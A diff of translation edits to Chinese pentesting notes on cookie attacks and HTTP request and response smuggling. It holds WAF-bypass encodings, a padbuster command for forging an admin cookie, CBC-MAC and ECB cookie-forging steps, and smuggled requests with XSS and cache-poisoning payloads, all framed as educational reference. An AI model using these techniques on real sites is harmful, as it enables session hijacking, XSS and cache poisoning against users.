@ -159,7 +159,7 @@ setCookie("", "a=b") // Setting the empty cookie modifies another cookie's value
|
||||
|
||||
#### Chrome Bug: Unicode Surrogate Codepoint Issue
|
||||
|
||||
在 Chrome 中,如果 Unicode 代理代码点是设置的 cookie 的一部分,`document.cookie` 将变得损坏,随后返回一个空字符串:
|
||||
在 Chrome 中,如果 Unicode 代理代码点是设置的 cookie 的一部分,`document.cookie` 会变得损坏,随后返回一个空字符串:
|
||||
```js
|
||||
document.cookie = "\ud800=meep"
|
||||
```
|
||||
@ -187,7 +187,7 @@ RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
|
||||
|
||||
#### Bypassing value analysis with quoted-string encoding
|
||||
|
||||
这种解析表明要取消转义 cookies 内部的转义值,因此 "\a" 变为 "a"。这对于绕过 WAFS 很有用,因为:
|
||||
这种解析指示在 cookies 内部取消转义的值,因此 "\a" 变为 "a"。这对于绕过 WAFS 很有用,因为:
|
||||
|
||||
- `eval('test') => forbidden`
|
||||
- `"\e\v\a\l\(\'\t\e\s\t\'\)" => allowed`
|
||||
@ -198,7 +198,7 @@ RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
|
||||
|
||||
#### Bypassing value analysis with cookie splitting
|
||||
|
||||
最后,不同的后门会将不同的 cookies 连接成一个字符串,传递在不同的 cookie 头中,如: 
|
||||
最后,不同的后门会将不同的 cookies 通过不同的 cookie 头连接成一个字符串,如: 
|
||||
```
|
||||
GET / HTTP/1.1
|
||||
Host: example.com
|
||||
@ -220,7 +220,7 @@ Resulting cookie: name=eval('test//, comment') => allowed
|
||||
- 登出并尝试使用相同的 cookie。
|
||||
- 尝试在 2 个设备(或浏览器)上使用相同的 cookie 登录同一账户。
|
||||
- 检查 cookie 中是否有任何信息并尝试修改它。
|
||||
- 尝试创建多个几乎相同用户名的账户,并检查是否可以看到相似之处。
|
||||
- 尝试创建多个几乎相同用户名的账户并检查是否可以看到相似之处。
|
||||
- 检查是否存在 "**记住我**" 选项以查看其工作原理。如果存在并且可能存在漏洞,请始终使用 "**记住我**" 的 cookie,而不使用其他 cookie。
|
||||
- 检查即使在更改密码后,之前的 cookie 是否仍然有效。
|
||||
|
||||
@ -228,7 +228,7 @@ Resulting cookie: name=eval('test//, comment') => allowed
|
||||
|
||||
如果在登录时 cookie 保持不变(或几乎不变),这可能意味着该 cookie 与您账户的某个字段相关(可能是用户名)。然后您可以:
|
||||
|
||||
- 尝试创建许多非常 **相似** 的 **账户**,并尝试 **猜测** 算法的工作原理。
|
||||
- 尝试创建许多非常 **相似** 的用户名的 **账户** 并尝试 **猜测** 算法的工作原理。
|
||||
- 尝试 **暴力破解用户名**。如果 cookie 仅作为您用户名的身份验证方法保存,那么您可以创建一个用户名为 "**Bmin**" 的账户,并 **暴力破解** 您的 cookie 的每一个 **位**,因为您尝试的其中一个 cookie 将是属于 "**admin**" 的。
|
||||
- 尝试 **填充** **Oracle**(您可以解密 cookie 的内容)。使用 **padbuster**。
|
||||
|
||||
@ -250,17 +250,17 @@ Padbuster 将进行多次尝试,并会询问您哪个条件是错误条件(
|
||||
```
|
||||
padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator
|
||||
```
|
||||
此执行将正确加密和编码 cookie,内部包含字符串 **user=administrator**。
|
||||
此执行将为您提供正确加密和编码的 cookie,其中包含字符串 **user=administrator**。
|
||||
|
||||
**CBC-MAC**
|
||||
|
||||
也许一个 cookie 可以有一些值,并且可以使用 CBC 签名。然后,值的完整性是使用相同值的 CBC 创建的签名。由于建议使用空向量作为 IV,这种完整性检查可能会受到攻击。
|
||||
也许一个 cookie 可以有一些值,并可以使用 CBC 签名。然后,值的完整性是使用相同值的 CBC 创建的签名。由于建议使用空向量作为 IV,这种完整性检查可能会受到攻击。
|
||||
|
||||
**攻击**
|
||||
|
||||
1. 获取用户名 **administ** 的签名 = **t**
|
||||
2. 获取用户名 **rator\x00\x00\x00 XOR t** 的签名 = **t'**
|
||||
3. 在 cookie 中设置值 **administrator+t'** (**t'** 将是 **(rator\x00\x00\x00 XOR t) XOR t** 的有效签名 = **rator\x00\x00\x00**)
|
||||
3. 在 cookie 中设置值 **administrator+t'** (**t'** 将是 **(rator\x00\x00\x00 XOR t) XOR t** 的有效签名 = **rator\x00\x00\x00**)
|
||||
|
||||
**ECB**
|
||||
|
||||
@ -273,7 +273,7 @@ padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lB
|
||||
|
||||
创建一个名为 "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" 的用户,并检查 cookie 中是否有任何模式(由于 ECB 使用相同的密钥加密每个块,如果用户名被加密,则相同的加密字节可能会出现)。
|
||||
|
||||
应该有一个模式(与使用的块的大小相同)。因此,知道一堆 "a" 是如何加密的,您可以创建一个用户名:"a"\*(块的大小)+"admin"。然后,您可以从 cookie 中删除一个块的 "a" 的加密模式。您将拥有用户名 "admin" 的 cookie。
|
||||
应该有一个模式(与使用的块的大小相同)。因此,知道一堆 "a" 是如何加密的,您可以创建一个用户名: "a"\*(块的大小)+"admin"。然后,您可以从 cookie 中删除一个块的 "a" 的加密模式。您将拥有用户名 "admin" 的 cookie。
|
||||
|
||||
## 参考
|
||||
|
||||
|
||||
@ -1,6 +1,6 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
**`Cookie bomb`** 涉及 **向一个域及其子域添加大量大型 cookies,目标是用户**。此操作导致受害者 **向服务器发送超大 HTTP 请求**,这些请求随后被 **服务器拒绝**。其结果是在该域及其子域内针对用户引发拒绝服务 (DoS)。
|
||||
**`Cookie bomb`** 涉及 **向一个域及其子域添加大量大 cookies,目标是用户**。此操作导致受害者 **向服务器发送超大 HTTP 请求**,这些请求随后被 **服务器拒绝**。其结果是在该域及其子域内针对用户引发拒绝服务 (DoS)。
|
||||
|
||||
一个很好的 **例子** 可以在这篇文章中看到: [https://hackerone.com/reports/57356](https://hackerone.com/reports/57356)
|
||||
|
||||
|
||||
@ -6,14 +6,14 @@
|
||||
|
||||
如果攻击者能够**控制一个子域或公司的域名,或者在子域中发现XSS**,他将能够执行此攻击。
|
||||
|
||||
正如在Cookies Hacking部分所指出的,当**cookie被设置到一个域(指定它)时,它将在该域及其子域中使用。**
|
||||
正如在Cookies Hacking部分所指出的,当**cookie被设置到一个域(指定它)时,它将在该域及子域中使用。**
|
||||
|
||||
> [!CAUTION]
|
||||
> 因此,**攻击者将能够设置一个特定的cookie到域和子域,执行类似于** `document.cookie="session=1234; Path=/app/login; domain=.example.com"`
|
||||
|
||||
这可能是危险的,因为攻击者可能能够:
|
||||
|
||||
- **将受害者的cookie固定到攻击者的账户**,因此如果用户没有注意到,**他将在攻击者的账户中执行操作**,攻击者可能获得一些有趣的信息(查看用户在平台上的搜索历史,受害者可能在账户中设置他的信用卡...)
|
||||
- **将受害者的cookie固定到攻击者的账户**,因此如果用户没有注意到,**他将在攻击者的账户中执行操作**,攻击者可能获得一些有趣的信息(检查用户在平台上的搜索历史,受害者可能在账户中设置他的信用卡...)
|
||||
- 如果**cookie在登录后没有改变**,攻击者可能只需**固定一个cookie(会话固定)**,等待受害者登录,然后**使用该cookie以受害者身份登录**。
|
||||
- 有时,即使会话cookie发生变化,攻击者也会使用之前的cookie,并且他也会收到新的cookie。
|
||||
- 如果**cookie设置了一些初始值**(例如在flask中,**cookie**可能**设置**会话的**CSRF令牌**,并且该值将在受害者登录后保持),**攻击者可能设置这个已知值然后加以利用**(在这种情况下,攻击者可能会让用户执行CSRF请求,因为他知道CSRF令牌)。
|
||||
|
||||
@ -18,7 +18,7 @@ Host: [internal-host]
|
||||
```
|
||||
### First-request Routing
|
||||
|
||||
在某些配置中,前端服务器可能会使用 **第一个请求的 Host 头** 来确定该请求的后端路由,然后将来自同一客户端连接的所有后续请求持续路由到同一后端连接。这可以表示为:
|
||||
在某些配置中,前端服务器可能会使用**第一个请求的Host头**来确定该请求的后端路由,然后将来自同一客户端连接的所有后续请求持久性地路由到相同的后端连接。这可以表示为:
|
||||
```
|
||||
GET / HTTP/1.1
|
||||
Host: example.com
|
||||
|
||||
@ -15,7 +15,7 @@
|
||||
|
||||
**Content-Length**
|
||||
|
||||
> Content-Length 实体头指示发送给接收方的实体主体的字节大小。
|
||||
> Content-Length 实体头指示发送给接收方的实体主体的大小(以字节为单位)。
|
||||
|
||||
**Transfer-Encoding: chunked**
|
||||
|
||||
@ -25,11 +25,11 @@
|
||||
### 现实
|
||||
|
||||
**前端**(负载均衡/反向代理)**处理** _**content-length**_ 或 _**transfer-encoding**_ 头,而**后端**服务器**处理另一个**,导致两个系统之间发生**不同步**。\
|
||||
这可能非常关键,因为**攻击者将能够向反向代理发送一个请求**,该请求将被**后端**服务器**视为两个不同的请求**。这种技术的**危险**在于**后端**服务器**将解释**注入的**第二个请求**,仿佛它**来自下一个客户端**,而该客户端的**真实请求**将是**注入请求**的一部分。
|
||||
这可能非常关键,因为**攻击者将能够向反向代理发送一个请求**,该请求将被**后端**服务器**视为两个不同的请求**。这种技术的**危险**在于**后端**服务器**将解释**注入的**第二个请求**,就好像它**来自下一个客户端**,而该客户端的**真实请求**将是**注入请求**的一部分。
|
||||
|
||||
### 特点
|
||||
|
||||
请记住,在HTTP中**一个新行字符由2个字节组成:**
|
||||
请记住,在HTTP中**新行字符由2个字节组成:**
|
||||
|
||||
- **Content-Length**:此头使用**十进制数字**指示请求**主体**的**字节数**。主体预计在最后一个字符结束,**请求末尾不需要新行**。
|
||||
- **Transfer-Encoding:** 此头在**主体**中使用**十六进制数字**指示**下一个块**的**字节数**。**块**必须以**新行**结束,但此新行**不计入**长度指示符。此传输方法必须以**大小为0的块后跟2个新行**结束:`0`
|
||||
@ -107,9 +107,9 @@ x=
|
||||
- **服务器:** 两者都支持`Transfer-Encoding`,但可以通过模糊处理使其中一个忽略它。
|
||||
- **攻击场景:**
|
||||
|
||||
- 攻击者发送一个带有模糊处理`Transfer-Encoding`头的请求。
|
||||
- 攻击者发送一个带有模糊`Transfer-Encoding`头的请求。
|
||||
- 根据哪个服务器(前端或后端)未能识别模糊处理,可能会利用CL.TE或TE.CL漏洞。
|
||||
- 请求中未处理的部分,作为其中一个服务器所见,成为后续请求的一部分,导致走私。
|
||||
- 请求中未处理的部分在其中一个服务器看来成为后续请求的一部分,导致走私。
|
||||
- **示例:**
|
||||
|
||||
```
|
||||
@ -146,7 +146,7 @@ Normal Request
|
||||
|
||||
#### **CL.0 场景**
|
||||
|
||||
- 指的是`Content-Length`头存在且值不为零,表明请求主体有内容。后端忽略`Content-Length`头(被视为0),但前端解析它。
|
||||
- 指的是`Content-Length`头存在且值不为零,表示请求主体有内容。后端忽略`Content-Length`头(被视为0),但前端解析它。
|
||||
- 这在理解和构造走私攻击中至关重要,因为它影响服务器确定请求结束的方式。
|
||||
- **示例:**
|
||||
|
||||
@ -162,7 +162,7 @@ Non-Empty Body
|
||||
#### TE.0 场景
|
||||
|
||||
- 类似于前一个场景,但使用TE。
|
||||
- 技术[在此报告](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)。
|
||||
- 技术[在这里报告](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
|
||||
- **示例**:
|
||||
```
|
||||
OPTIONS / HTTP/1.1
|
||||
@ -201,7 +201,7 @@ Connection: Content-Length
|
||||
|
||||
## 查找 HTTP 请求走私
|
||||
|
||||
识别 HTTP 请求走私漏洞通常可以通过时间技术实现,这依赖于观察服务器响应被操纵请求所需的时间。这些技术对于检测 CL.TE 和 TE.CL 漏洞特别有用。除了这些方法,还有其他策略和工具可以用来查找此类漏洞:
|
||||
识别 HTTP 请求走私漏洞通常可以通过时间技术实现,这依赖于观察服务器响应被操纵请求所需的时间。这些技术对于检测 CL.TE 和 TE.CL 漏洞特别有用。除了这些方法,还有其他策略和工具可以用来发现此类漏洞:
|
||||
|
||||
### 使用时间技术查找 CL.TE 漏洞
|
||||
|
||||
@ -261,21 +261,21 @@ X
|
||||
- **Content-Length 变异测试:**
|
||||
- 发送具有不同 `Content-Length` 值的请求,这些值与实际内容长度不一致,并观察服务器如何处理此类不匹配。
|
||||
- **Transfer-Encoding 变异测试:**
|
||||
- 发送带有模糊或格式错误的 `Transfer-Encoding` 头的请求,并监控前端和后端服务器对这种操控的不同响应。
|
||||
- 发送具有模糊或格式错误的 `Transfer-Encoding` 头的请求,并监控前端和后端服务器对这种操控的不同响应。
|
||||
|
||||
### HTTP 请求走私漏洞测试
|
||||
|
||||
在确认时间技术的有效性后,验证客户端请求是否可以被操纵至关重要。一个简单的方法是尝试毒化你的请求,例如,使对 `/` 的请求返回 404 响应。之前在 [基本示例](./#basic-examples) 中讨论的 `CL.TE` 和 `TE.CL` 示例演示了如何毒化客户端请求以引发 404 响应,尽管客户端旨在访问不同的资源。
|
||||
在确认时间技术的有效性后,验证客户端请求是否可以被操纵至关重要。一种简单的方法是尝试毒化您的请求,例如,使对 `/` 的请求返回 404 响应。之前在 [基本示例](./#basic-examples) 中讨论的 `CL.TE` 和 `TE.CL` 示例演示了如何毒化客户端请求以引发 404 响应,尽管客户端旨在访问不同的资源。
|
||||
|
||||
**关键考虑事项**
|
||||
|
||||
在通过干扰其他请求测试请求走私漏洞时,请记住:
|
||||
|
||||
- **独立网络连接:** “攻击”和“正常”请求应通过独立的网络连接发送。对两者使用相同连接并不能验证漏洞的存在。
|
||||
- **独立网络连接:** “攻击”和“正常”请求应通过独立的网络连接发送。对两者使用相同的连接并不能验证漏洞的存在。
|
||||
- **一致的 URL 和参数:** 力求对两个请求使用相同的 URL 和参数名称。现代应用程序通常根据 URL 和参数将请求路由到特定的后端服务器。匹配这些可以增加两个请求由同一服务器处理的可能性,这是成功攻击的前提。
|
||||
- **时间和竞争条件:** “正常”请求旨在检测“攻击”请求的干扰,与其他并发应用请求竞争。因此,在“攻击”请求后立即发送“正常”请求。繁忙的应用程序可能需要多次尝试以确认漏洞。
|
||||
- **负载均衡挑战:** 作为负载均衡器的前端服务器可能会将请求分配到不同的后端系统。如果“攻击”和“正常”请求最终落在不同的系统上,攻击将不会成功。这个负载均衡方面可能需要多次尝试以确认漏洞。
|
||||
- **意外用户影响:** 如果你的攻击无意中影响了另一个用户的请求(不是你发送的“正常”请求),这表明你的攻击影响了另一个应用用户。持续测试可能会干扰其他用户,因此需要谨慎处理。
|
||||
- **意外用户影响:** 如果您的攻击无意中影响了另一个用户的请求(不是您发送的“正常”请求以进行检测),这表明您的攻击影响了另一个应用用户。持续测试可能会干扰其他用户,因此需要谨慎处理。
|
||||
|
||||
## 滥用 HTTP 请求走私
|
||||
|
||||
@ -324,7 +324,7 @@ a=x
|
||||
|
||||
### 揭示前端请求重写 <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
|
||||
|
||||
应用程序通常使用**前端服务器**来修改传入请求,然后将其传递给后端服务器。典型的修改涉及添加头部,例如`X-Forwarded-For: <IP of the client>`,以将客户端的IP转发给后端。理解这些修改可能至关重要,因为它可能揭示**绕过保护**或**发现隐藏的信息或端点**的方法。
|
||||
应用程序通常使用**前端服务器**来修改传入请求,然后将其传递给后端服务器。典型的修改涉及添加头信息,例如`X-Forwarded-For: <IP of the client>`,以将客户端的IP转发给后端。理解这些修改可能至关重要,因为它可能揭示**绕过保护**或**发现隐藏的信息或端点**的方法。
|
||||
|
||||
要调查代理如何更改请求,找到一个后端在响应中回显的POST参数。然后,构造一个请求,使用这个参数作为最后一个,类似于以下内容:
|
||||
```
|
||||
@ -375,20 +375,20 @@ Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
|
||||
|
||||
csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=
|
||||
```
|
||||
在这种情况下,**comment 参数**旨在存储在公开可访问页面的帖子评论部分中的内容。因此,后续请求的内容将作为评论出现。
|
||||
在这种情况下,**comment 参数**旨在存储公开可访问页面上帖子评论部分的内容。因此,后续请求的内容将作为评论出现。
|
||||
|
||||
然而,这种技术有其局限性。通常,它仅捕获直到在走私请求中使用的参数分隔符的数据。对于 URL 编码的表单提交,这个分隔符是 `&` 字符。这意味着从受害者用户的请求中捕获的内容将在第一个 `&` 处停止,这可能甚至是查询字符串的一部分。
|
||||
然而,这种技术有其局限性。通常,它仅捕获直到在走私请求中使用的参数分隔符的数据。对于 URL 编码的表单提交,这个分隔符是 `&` 字符。这意味着从受害者用户请求中捕获的内容将在第一个 `&` 处停止,这可能甚至是查询字符串的一部分。
|
||||
|
||||
此外,值得注意的是,这种方法在 TE.CL 漏洞中也是可行的。在这种情况下,请求应以 `search=\r\n0` 结束。无论换行符如何,值将附加到搜索参数。
|
||||
|
||||
### 使用 HTTP 请求走私来利用反射型 XSS
|
||||
|
||||
HTTP 请求走私可以被用来利用易受 **反射型 XSS** 攻击的网页,提供显著的优势:
|
||||
HTTP 请求走私可以被利用来攻击易受 **反射型 XSS** 的网页,提供显著的优势:
|
||||
|
||||
- **不需要**与目标用户互动。
|
||||
- 允许在请求的 **通常无法达到** 的部分利用 XSS,例如 HTTP 请求头。
|
||||
- 允许在 **通常无法达到** 的请求部分中利用 XSS,例如 HTTP 请求头。
|
||||
|
||||
在网站通过 User-Agent 头易受反射型 XSS 攻击的情况下,以下有效载荷演示了如何利用此漏洞:
|
||||
在网站通过 User-Agent 头部易受反射型 XSS 攻击的情况下,以下有效载荷演示了如何利用此漏洞:
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
|
||||
@ -409,7 +409,7 @@ Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
A=
|
||||
```
|
||||
这个有效载荷的结构旨在利用漏洞,通过以下方式:
|
||||
此有效载荷的结构旨在利用漏洞,通过以下方式:
|
||||
|
||||
1. 发起一个看似典型的 `POST` 请求,带有 `Transfer-Encoding: chunked` 头部以指示走私的开始。
|
||||
2. 随后跟随一个 `0`,标记块消息体的结束。
|
||||
@ -422,7 +422,7 @@ A=
|
||||
> [!CAUTION]
|
||||
> 如果用户内容在响应中以 **`Content-type`** 反射,例如 **`text/plain`**,将阻止 XSS 的执行。如果服务器支持 **HTTP/0.9,可能可以绕过这一点**!
|
||||
|
||||
版本 HTTP/0.9 早于 1.0,仅使用 **GET** 动词,并且 **不** 响应 **头部**,只有主体。
|
||||
HTTP/0.9 版本早于 1.0,仅使用 **GET** 动词,并且 **不** 响应 **头部**,只有主体。
|
||||
|
||||
在 [**这篇文章**](https://mizu.re/post/twisty-python) 中,利用了请求走私和一个 **会回复用户输入的易受攻击端点** 来走私一个 HTTP/0.9 请求。响应中反射的参数包含一个 **伪造的 HTTP/1.1 响应(带有头部和主体)**,因此响应将包含有效的可执行 JS 代码,`Content-Type` 为 `text/html`。
|
||||
|
||||
@ -470,7 +470,7 @@ Location: https://attacker-website.com/home/
|
||||
|
||||
如果 **前端基础设施的任何组件缓存内容**,通常是为了提高性能,则可以执行 Web 缓存中毒。通过操纵服务器的响应,可以 **毒化缓存**。
|
||||
|
||||
之前,我们观察到如何改变服务器响应以返回 404 错误(参见 [Basic Examples](./#basic-examples))。同样,可以欺骗服务器在请求 `/static/include.js` 时返回 `/index.html` 内容。因此,`/static/include.js` 的内容在缓存中被替换为 `/index.html` 的内容,使得 `/static/include.js` 对用户不可访问,可能导致服务拒绝(DoS)。
|
||||
之前,我们观察到如何改变服务器响应以返回 404 错误(参见 [Basic Examples](./#basic-examples))。同样,可以欺骗服务器在请求 `/static/include.js` 时返回 `/index.html` 的内容。因此,`/static/include.js` 的内容在缓存中被替换为 `/index.html` 的内容,使得 `/static/include.js` 对用户不可访问,可能导致服务拒绝(DoS)。
|
||||
|
||||
如果发现 **开放重定向漏洞** 或者存在 **指向开放重定向的站内重定向**,这种技术变得特别强大。这些漏洞可以被利用来将 `/static/include.js` 的缓存内容替换为攻击者控制的脚本,从而实质上使所有请求更新的 `/static/include.js` 的客户端面临广泛的跨站脚本(XSS)攻击。
|
||||
|
||||
@ -498,7 +498,7 @@ x=1
|
||||
|
||||
随后,任何对 `/static/include.js` 的请求将提供攻击者脚本的缓存内容,有效地发起广泛的 XSS 攻击。
|
||||
|
||||
### 使用 HTTP request smuggling 执行 web cache deception <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
|
||||
### 使用 HTTP request smuggling 进行 web cache deception <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
|
||||
|
||||
> **web cache poisoning 和 web cache deception 之间有什么区别?**
|
||||
>
|
||||
@ -516,7 +516,7 @@ x=1
|
||||
`GET /private/messages HTTP/1.1`\
|
||||
`Foo: X`
|
||||
```
|
||||
如果这个走私请求污染了用于静态内容的缓存条目(例如,`/someimage.png`),受害者在`/private/messages`中的敏感数据可能会被缓存到静态内容的缓存条目下。因此,攻击者可能会检索到这些缓存的敏感数据。
|
||||
如果这个被走私的请求污染了用于静态内容的缓存条目(例如,`/someimage.png`),那么受害者在`/private/messages`中的敏感数据可能会被缓存到静态内容的缓存条目下。因此,攻击者可能会检索到这些缓存的敏感数据。
|
||||
|
||||
### 通过 HTTP 请求走私滥用 TRACE <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
|
||||
@ -526,7 +526,7 @@ TRACE / HTTP/1.1
|
||||
Host: example.com
|
||||
XSS: <script>alert("TRACE")</script>
|
||||
```
|
||||
请发送响应,例如:
|
||||
请发送一个响应,例如:
|
||||
```
|
||||
HTTP/1.1 200 OK
|
||||
Content-Type: message/http
|
||||
@ -538,12 +538,12 @@ XSS: <script>alert("TRACE")</script>
|
||||
X-Forwarded-For: xxx.xxx.xxx.xxx
|
||||
```
|
||||
一个滥用这种行为的例子是**首先伪装一个HEAD请求**。该请求将仅以GET请求的**头部**进行响应(**`Content-Type`**在其中)。然后立即在HEAD请求后伪装一个TRACE请求,这将**反射发送的数据**。\
|
||||
由于HEAD响应将包含一个`Content-Length`头,**TRACE请求的响应将被视为HEAD响应的主体,因此在响应中反射任意数据**。\
|
||||
由于HEAD响应将包含一个`Content-Length`头部,**TRACE请求的响应将被视为HEAD响应的主体,因此在响应中反射任意数据**。\
|
||||
该响应将被发送到连接上的下一个请求,因此这可以**用于缓存的JS文件中,例如注入任意JS代码**。
|
||||
|
||||
### 通过HTTP响应拆分滥用TRACE <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
|
||||
继续关注[**这篇文章**](https://portswigger.net/research/trace-desync-attack)建议另一种滥用TRACE方法的方式。如评论所述,伪装一个HEAD请求和一个TRACE请求可以**控制HEAD请求响应中的一些反射数据**。HEAD请求主体的长度基本上在Content-Length头中指示,并由TRACE请求的响应形成。
|
||||
继续关注[**这篇文章**](https://portswigger.net/research/trace-desync-attack)建议另一种滥用TRACE方法的方式。如评论所述,伪装一个HEAD请求和一个TRACE请求可以**控制HEAD请求响应中的一些反射数据**。HEAD请求主体的长度基本上在Content-Length头部中指示,并由TRACE请求的响应形成。
|
||||
|
||||
因此,新的想法是,知道这个Content-Length和TRACE响应中给出的数据,可以使TRACE响应在Content-Length的最后一个字节之后包含一个有效的HTTP响应,从而允许攻击者完全控制下一个响应的请求(这可以用于执行缓存中毒)。
|
||||
|
||||
@ -705,7 +705,7 @@ table.add(req)
|
||||
- [https://github.com/Moopinger/smugglefuzz](https://github.com/Moopinger/smugglefuzz)
|
||||
- [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): 该工具是一个基于语法的HTTP Fuzzer,有助于发现奇怪的请求走私差异。
|
||||
|
||||
## 参考资料
|
||||
## 参考
|
||||
|
||||
- [https://portswigger.net/web-security/request-smuggling](https://portswigger.net/web-security/request-smuggling)
|
||||
- [https://portswigger.net/web-security/request-smuggling/finding](https://portswigger.net/web-security/request-smuggling/finding)
|
||||
|
||||
@ -8,9 +8,9 @@
|
||||
|
||||
首先,这种技术**利用了 HTTP 请求走私漏洞**,所以你需要知道这是什么:
|
||||
|
||||
这种技术与常见的 HTTP 请求走私的**主要区别**在于,**不是通过在受害者的请求前添加前缀来攻击受害者的请求**,而是**泄露或修改受害者收到的响应**。这是通过**发送两个完整的请求来去同步代理的响应队列**,而不是发送一个半请求来利用 HTTP 请求走私。
|
||||
这种技术与常见的 HTTP 请求走私的**主要区别**在于,**不是通过添加前缀来攻击受害者的请求**,而是**泄露或修改受害者收到的响应**。这是通过发送**两个完整的请求来去同步代理的响应队列**,而不是发送一个半请求来利用 HTTP 请求走私。
|
||||
|
||||
这是因为我们将能够**去同步响应队列**,使得**受害者的合法请求的响应被发送给攻击者**,或者通过**在响应中注入攻击者控制的内容给受害者**。
|
||||
这是因为我们将能够**去同步响应队列**,使得**受害者的合法请求的响应被发送给攻击者**,或者通过**在响应中注入攻击者控制的内容**给受害者。
|
||||
|
||||
### HTTP 管道去同步
|
||||
|
||||
@ -24,7 +24,7 @@ HTTP/1.1 允许请求**不同的资源而不需要等待之前的请求**。因
|
||||
|
||||
如果在这种特定情况下,**受害者发送了一个请求**,而**走私请求在合法请求之前被响应**,那么**走私响应将被发送给受害者**。因此,攻击者将**控制受害者“执行”的请求**。
|
||||
|
||||
此外,如果**攻击者随后执行一个请求**,而**对受害者请求的合法响应在攻击者请求之前被** **回答**,那么**对受害者的响应将被发送给攻击者**,**窃取**对受害者的响应(例如,可能包含**Set-Cookie**头)。
|
||||
此外,如果**攻击者随后执行一个请求**,而**对受害者请求的合法响应**在攻击者请求之前被**回答**,那么**对受害者的响应将被发送给攻击者**,**窃取**对受害者的响应(例如,可能包含**Set-Cookie**头)。
|
||||
|
||||
.png>)
|
||||
|
||||
@ -32,9 +32,9 @@ HTTP/1.1 允许请求**不同的资源而不需要等待之前的请求**。因
|
||||
|
||||
### 多重嵌套注入
|
||||
|
||||
与常见的**HTTP 请求走私**相比,另一个**有趣的区别**是,在常见的走私攻击中,**目标**是**修改受害者请求的开头**,以便执行意外的操作。在**HTTP 响应走私攻击**中,由于你**发送完整的请求**,你可以**在一个有效载荷中注入数十个响应**,这将**去同步数十个用户**,这些用户将**接收**被**注入的** **响应**。
|
||||
与常见的**HTTP 请求走私**相比,另一个**有趣的区别**是,在常见的走私攻击中,**目标**是**修改受害者请求的开头**,使其执行意外的操作。在**HTTP 响应走私攻击**中,由于你**发送完整的请求**,你可以**在一个有效载荷中注入数十个响应**,这将**去同步数十个用户**,使他们**接收**被**注入的**响应。
|
||||
|
||||
除了能够**更容易地在合法用户中分发数十个漏洞**,这也可以用来导致服务器的**拒绝服务**。
|
||||
除了能够**更容易地在合法用户之间分发数十个漏洞**,这也可以用于导致服务器的**拒绝服务**。
|
||||
|
||||
### 漏洞组织
|
||||
|
||||
@ -42,7 +42,7 @@ HTTP/1.1 允许请求**不同的资源而不需要等待之前的请求**。因
|
||||
|
||||
如果我们只是想**尝试窃取受害者的响应**,那么这个**耗时的请求就足够了**。但如果你想执行更复杂的漏洞,这将是漏洞的常见结构。
|
||||
|
||||
首先是**初始**请求利用**HTTP** **请求** **走私**,然后是**耗时的请求**,最后是**一个或多个有效载荷请求**,其响应将被发送给受害者。
|
||||
首先是**初始**请求,利用**HTTP** **请求** **走私**,然后是**耗时的请求**,最后是**一个或多个有效载荷请求**,其响应将被发送给受害者。
|
||||
|
||||
## 利用 HTTP 响应队列去同步
|
||||
|
||||
@ -54,56 +54,56 @@ HTTP/1.1 允许请求**不同的资源而不需要等待之前的请求**。因
|
||||
|
||||
.png>)
|
||||
|
||||
然后,一旦**初始请求**(蓝色)被**处理**,并且**耗时**的请求正在被处理(黄色),**来自受害者的下一个请求**将被**附加在队列中,紧接在反射参数之后**:
|
||||
然后,一旦**初始请求**(蓝色)被**处理**,而**耗时**的请求(黄色)正在被处理时,**来自受害者的下一个请求**将被**附加在反射参数之后**:
|
||||
|
||||
.png>)
|
||||
|
||||
然后,**受害者**将**收到**对**耗时**请求的**响应**,如果在此期间**攻击者****发送**了**另一个** **请求**,那么**来自反射内容请求的响应将被发送给他**。
|
||||
然后,**受害者**将**收到**对**耗时**请求的**响应**,如果在此期间**攻击者****发送**了**另一个**请求,**反射内容请求的响应将被发送给他**。
|
||||
|
||||
## 响应去同步
|
||||
|
||||
到目前为止,我们已经学习了如何利用 HTTP 请求走私攻击来**控制**将要**接收**的**响应**的**请求**,以及如何**窃取原本属于受害者的响应**。
|
||||
到目前为止,我们已经学习了如何利用 HTTP 请求走私攻击来**控制**客户端将要**接收的**请求**的响应**,以及如何**窃取原本属于受害者的响应**。
|
||||
|
||||
但仍然可以**进一步去同步**响应。
|
||||
|
||||
有趣的请求如**HEAD**请求被指定为不应在响应体中**包含任何内容**,并且应(必须)**包含请求的 Content-Length**,就像**GET 请求**一样。
|
||||
有一些有趣的请求,比如**HEAD**请求,它被规定**响应体中不应包含任何内容**,并且应该(必须)**包含请求的 Content-Length**,就像**GET 请求**一样。
|
||||
|
||||
因此,如果攻击者**注入**一个**HEAD**请求,如下图所示:
|
||||
|
||||
.png>)
|
||||
|
||||
